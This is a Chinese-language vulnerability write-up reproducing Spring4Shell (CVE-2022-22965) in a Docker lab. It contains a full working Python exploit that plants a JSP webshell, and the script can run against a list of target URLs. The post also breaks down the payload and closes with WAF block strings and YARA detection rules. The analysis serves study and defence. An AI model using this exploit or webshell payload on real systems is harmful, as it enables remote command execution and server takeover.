[漏洞分析] 002 復現 Spring4Shell: Spring Core RCE JDK 9+ CVE-2022-22965
飛飛 | 2022-03-31本文介紹 Spring Core RCE CVE-2022-22965 的漏洞介紹與環境架設,包含臨時修復方式。
資安名詞
0-day / Zeroday
漏洞,但該漏洞官方尚未提供更新或修補程式。
0-day Attack
利用上述的漏洞進行攻擊。
RCE
遠端執行受害者電腦的指令。
SpringShell 漏洞介紹
JAVA
一種程式語言。
JDK
JAVA 開發套件包含 Java 執行階段環境、Java 編譯器和Java API。
JAVA Spring Core
Spring 為 JAVA 中開發網站的輕量級框架,該框架讓開發者可簡化開發週期。
漏洞成因
透過框架內的「參數綁定功能」取得 AccessLogValve 的物件,加上惡意字串,觸發 pipeline 機制,可寫入任意路徑的檔案。
漏洞條件
- 使用JDK9及以上版本的 Spring MVC框架
- Spring 框架以及衍生的框架spring-beans-*.jar 文件或者存在 CachedIntrospectionResults.class
漏洞環境架設
- 使用 docker 拉取 image
- 執行 docker run ,漏洞環境執行成功會顯示 OK
- 執行攻擊腳本,腳本來源: dinosn/spring-core-rce
- 驗證 webshell
- Log,執行攻擊封包之後,會出現 Initializing Servlet 'dispatcherServlet'
docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -p 8066:8080 vulfocus/spring-core-rce-2022-03-29:latest
#coding:utf-8
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Srping-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
以下截圖為攻擊成功,並顯示 webshell 的位置
攻擊封包解析
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if(j.equals(request.getParameter(pwd))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(cmd)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
- webshell
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
.jsp
- webshell 副檔名
class.module.classLoader.resources.context.parent.pipeline.first.directory=
webapps/ROOT
- 根目錄
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
tomcatwar
- 檔案名稱
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
以下截圖為 攻擊後會在根目錄新增一個 webshell
漏洞環境解析
SpringCoreRceApplication.java
package com.baimaohui.spring.core.rce;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.boot.SpringApplication;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@RestController
public class SpringCoreRceApplication
{
public static void main(final String[] args) {
SpringApplication.run((Class)SpringCoreRceApplication.class, args);
}
@RequestMapping({ "", "/" })
public String test(final User user) {
return "ok";
}
}
ServletInitializer.java
package com.baimaohui.spring.core.rce;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
public class ServletInitializer extends SpringBootServletInitializer
{
protected SpringApplicationBuilder configure(final SpringApplicationBuilder application) {
return application.sources(new Class[] { SpringCoreRceApplication.class });
}
}
User.java
package com.baimaohui.spring.core.rce;
class User
{
private String username;
public String getUsername() {
return this.username;
}
public void setUsername(final String username) {
this.username = username;
}
}
臨時防禦方式
- 先確認版本
java -version
- 上 WAF 擋掉特殊字串
class.*,Class.*,*.class.*,*.Class.*
Yara Rule
/* Old webshell rule from THOR's signature set - donation to the community */
rule WEBSHELL_JSP_Nov21_1 {
meta:
description = "Detects JSP webshells"
author = "Florian Roth"
reference = "https://www.ic3.gov/Media/News/2021/211117-2.pdf"
date = "2021-11-23"
score = 70
strings:
$x1 = "request.getParameter(\"pwd\")" ascii
$x2 = "excuteCmd(request.getParameter(" ascii
$x3 = "getRuntime().exec (request.getParameter(" ascii
$x4 = "private static final String PW = \"whoami\"" ascii
condition:
filesize < 400KB and 1 of them
}
rule EXPL_POC_SpringCore_0day_Indicators_Mar22_1 {
meta:
description = "Detects indicators found after SpringCore exploitation attempts and in the POC script"
author = "Florian Roth"
reference = "https://twitter.com/vxunderground/status/1509170582469943303"
date = "2022-03-30"
score = 70
strings:
$x1 = "java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di"
$x2 = "?pwd=j&cmd=whoami"
$x3 = ".getParameter(%22pwd%22)"
$x4 = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7B"
condition:
1 of them
}
rule EXPL_POC_SpringCore_0day_Webshell_Mar22_1 {
meta:
description = "Detects webshell found after SpringCore exploitation attempts POC script"
author = "Florian Roth"
reference = "https://twitter.com/vxunderground/status/1509170582469943303"
date = "2022-03-30"
score = 70
strings:
$x1 = ".getInputStream(); int a = -1; byte[] b = new byte[2048];"
$x2 = "if(\"j\".equals(request.getParameter(\"pwd\")"
$x3 = ".getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
condition:
filesize < 200KB and 1 of them
}